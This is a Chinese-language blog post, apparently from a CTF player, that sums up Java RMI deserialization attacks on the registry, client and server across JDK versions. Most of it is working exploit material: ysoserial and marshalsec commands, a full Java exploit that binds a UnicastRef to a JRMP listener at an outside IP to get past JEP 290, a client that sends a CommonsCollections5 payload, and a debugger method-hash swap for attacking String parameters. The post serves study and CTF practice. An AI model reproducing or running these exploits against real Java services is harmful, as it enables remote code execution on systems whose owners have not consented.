0%

rmi利用总结

这篇文章是三月份写好的,准备找机会再出个题目的,捂到现在发现已经有很多比较全的总结了,索性我也直接放出来了。

最近做了几个ctf 的题都和rmi 有关,这里再学习一下。

先看几个结论:

  • rmi registery
    • 由于bind 在jdk8u141-b10更新链接)以后检查了localhost,不能直接打远程了
  • rmi client
    • 在jdk < jdk8u121 之前 可通过reference 加载远程class 搞
    • 在jdk8u121 之后
      • 需要本地存在gadget才能通过构造恶意的 JRMP 服务器搞
      • 利用本地Class作为Reference Factory
  • rmi server
    • 如果参数是Object,本地存在gadget ,能搞
    • 如果参数是其他类型(除Boolean,Character,Byte,Short,Integer,Long,Float,Double,Void外),本地存在gadget,可以通过debug的方式搞

RMI registery

直接攻击registery 到底能不能搞?这个问题我认为是不能现在直接搞rmi registery。(如果我理解错了,请指正)

但是网上有很多讲攻击rmi registery的方法,在jdkxxx之前可以通过

1
java8 -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2099 CommonsCollections5 "open /System/Applications/Calculator.app/"

在本机jdk 8u112 测试成功,能够弹出计算器

在jdk8u121 之后,有个jep290,会限制

再用上面的payload打,会有问题,会报错(本地用jdk 8u211)

1
2
3
4
5
6
7
8
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
java.io.InvalidClassException: filter status: REJECTED
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
....

根据这篇文章[1]说的是:

java 8 update 121]之后RMIRegistryImpl.registryFilter() 的限制

本地通过那个代码,发现确实也可以打, 大概原理就是通过发送一个payload,让registery在反序列化的时候再进行一次rmi,让其充当rmi client 通过构造恶意的jrmp 服务器打。

按理说通过下面的命令应该也行

1
java8 -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2099  JRMPClient "202.120.7.206:1088"

但还是java.io.InvalidClassException: filter status: REJECTED 这个具体原因还没有调试(有空再搞)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
package com.company;


import sun.rmi.server.UnicastRef;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.net.ssl.*;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;

/**
* 使用UnicastRef注入,绕过ObjectInputFilter checkInput对几个基础类型的检测
* sun.rmi.registry.
*/
public class Main {
private static class TrustAllSSL extends X509ExtendedTrustManager {
private static final X509Certificate[] ANY_CA = {};

public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}

public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }

public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
}

private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}

public static void main(final String[] xargs) throws Exception {
System.out.println("用法如下 RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort");
String [] args = {"127.0.0.1", "2099", "202.120.7.206", "1088"};
final String rmiRegistryHost = args[0];
final int rmiRegistryPort = Integer.parseInt(args[1]);
final String jrmpListenerHost = args[2];
final int jrmpListenerPort = Integer.parseInt(args[3]);
Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);

// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch (ConnectIOException ex) {
registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
}

// ensure payload doesn't detonate during construction or deserialization
exploit(registry, jrmpListenerHost, jrmpListenerPort);
}

public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {
public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}
});
}

public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception {

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
/*
poc 1*/
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
/*
poc2
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
*/
/*
poc3
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef));
*/
/*
poc4 失败,无效
UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class);
Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef);
*/
String name = "pwned" + System.nanoTime();
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}

/***
* 生成一个UnicastRef对象
* @param host
* @param port
* @return
*/
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}

public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;

protected PocHandler(RemoteRef newref) {
ref = newref;
}


@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(this.ref, args);
}
}

}

本地一切都很完美,当时当我打远程的时候发现

1
2
3
4
5
6
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
java.rmi.AccessException: Registry.bind disallowed; origin /xxxxx is non-local host
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)

看异常应该是说 我的ip 不是local host

然后我就开始调试。

image-20200316201416047

发现在readObject之前会进行一次checkAccess,

checkAccess 大概会做这些事情

  1. 获取client host
  2. 将client host 传到InetAddress.getByName
  3. 然后检查可是0.0.0.0
  4. 然后通过(new ServerSocket(0, 10, var2)).close() ,如果不抛出异常就是local host,否则抛出non-local host 异常

这个能不能绕呢?没有细跟(我也不清楚能不能绕过,还是菜)

至此,心情经历了起起落落之后,发现rmi registry 远程还是搞不了。

RMI client

无gadget

如果jdk 小于8u121 可以直接使用rmi reference

1
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

如果大于8u191 还可以通过org.apache.naming.factory.BeanFactory 绕过,详细可以参考2 这里就不赘述了

有 gadget

上面的都不需要本地有gadget,如果本地有gadget可以直接构造一个恶意的jrmp服务器让其去连

1
java8 -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /System/Applications/Calculator.app/"

RMI server

参数是Object

可以直接传个payload,过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.wu;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections5;

public class Main {

public static void main(String[] args) {
// write your code here
try{
Registry registry = LocateRegistry.getRegistry("x.x.x.x", 2099);
HelloInter hello = (HelloInter) registry.lookup( "hello");
Object payload = new CommonsCollections5().getObject("touch /tmp/xxx");
String x = hello.sayHello(payload);
System.out.println(x);
}catch (Exception e){
e.printStackTrace();
}
}
}

参数是其他类型

这个我验证了一下是能搞的,通过这篇文章3 提到了下面几种方法

  • Copy the code of the java.rmi package to a new package and change the code there
  • Attach a debugger to the running client and replace the objects before they are serialized
  • Change the bytecode by using a tool like Javassist
  • Replace the already serialized objects on the network stream by implementing a proxy

他后来用了第二种方法,通过Debug来修改一些值,我本来想用Idea直接修改的,但是我new class 的时候没成功,后来自己摸索了一种类似的方法,中间踩了一些坑。

Rmi server 相关文件

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.wu;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Main {

public static void main(String[] args) {
try{
LocateRegistry.createRegistry(2099);
HelloImpl hello = new HelloImpl();
HelloInter stub = (HelloInter) UnicastRemoteObject.exportObject(hello, 0);
Registry registry=LocateRegistry.getRegistry(2099);
registry.bind("hello", stub);
System.out.println("bind success!");
}catch (Exception e){
e.printStackTrace();
}
}
}

HelloInter.java

1
2
3
4
5
6
7
8
9
10
package com.wu;

import java.io.ObjectInputStream;
import java.rmi.Remote;
import java.rmi.RemoteException;


public interface HelloInter extends Remote {
String sayHello(String name) throws RemoteException;
}

HelloImpl.java

1
2
3
4
5
6
7
8
9
10
package com.wu;

import java.rmi.RemoteException;

public class HelloImpl implements HelloInter{
@Override
public String sayHello(String name) throws RemoteException {
return "[" + name + "]";
}
}

下面说一下我的做法。

  1. 按照相同的参数类型,然后通过debug,得到method的hash
  2. 修改参数类型为Object,通过debug,下断点修改, method 的hash

下两个断点

package java.rmi.server.RemoteObjectInvocationHandler 中的invokeRemoteMethod

image-20200317152928953

一个是sun.rmi.server.UnicastRefinvoke 方法

image-20200317153149505

var4 的值就是计算后的hash,我们将这个值保存下来8370655165776887524L

image-20200317153121774

修改rmi client中的参数类型为object

image-20200317153655371

Main 也修改一下

image-20200317153737450

再debug一次

image-20200317153840707

我们发现var4 的值已经变了,如果不是修改,会得到下面的结果unrecognized method hash

1
2
3
ava.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)

在修改值的时候,右击setValue,记得要加个L,要不然报错

image-20200317154104499

点击继续,就可以看到弹出来的计算器了。

image-20200317154124066

由于CommonCollections 的gadget在debug 的时候有时候会自动触发,所以下断点的位置不要在client就触发了gadget。

看完了操作,再从代码角度看看,这样为啥可以?

sun.rmi.server.UnicastRef

image-20200317154531251

rmi server 端的调试,可以看到var0 是string class(服务端的我们改不掉)

image-20200317154954269

可以看到

image-20200317155535061

String的时候isPrimitive() 返回的是false,所以可以直接跳到readObject,触发了反序列化。

本来没想用CommonCollections 的gadget,自己写了个类,写了readObject,但是不知道为啥就不调用,搞的我怀疑人生,后来死马当活马医,试了CommonCollections的,发现确实可以。

后续待完善

  • 有没有大佬看一下bind那个能不能绕过
  • 不知道这个能不能自动化

参考链接

https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/

https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/

https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides%20Exploiting%20RMI%20Services.pdf

https://www.slideshare.net/NickBloor3/nicky-bloor-barmie-poking-javas-back-door-44con-2017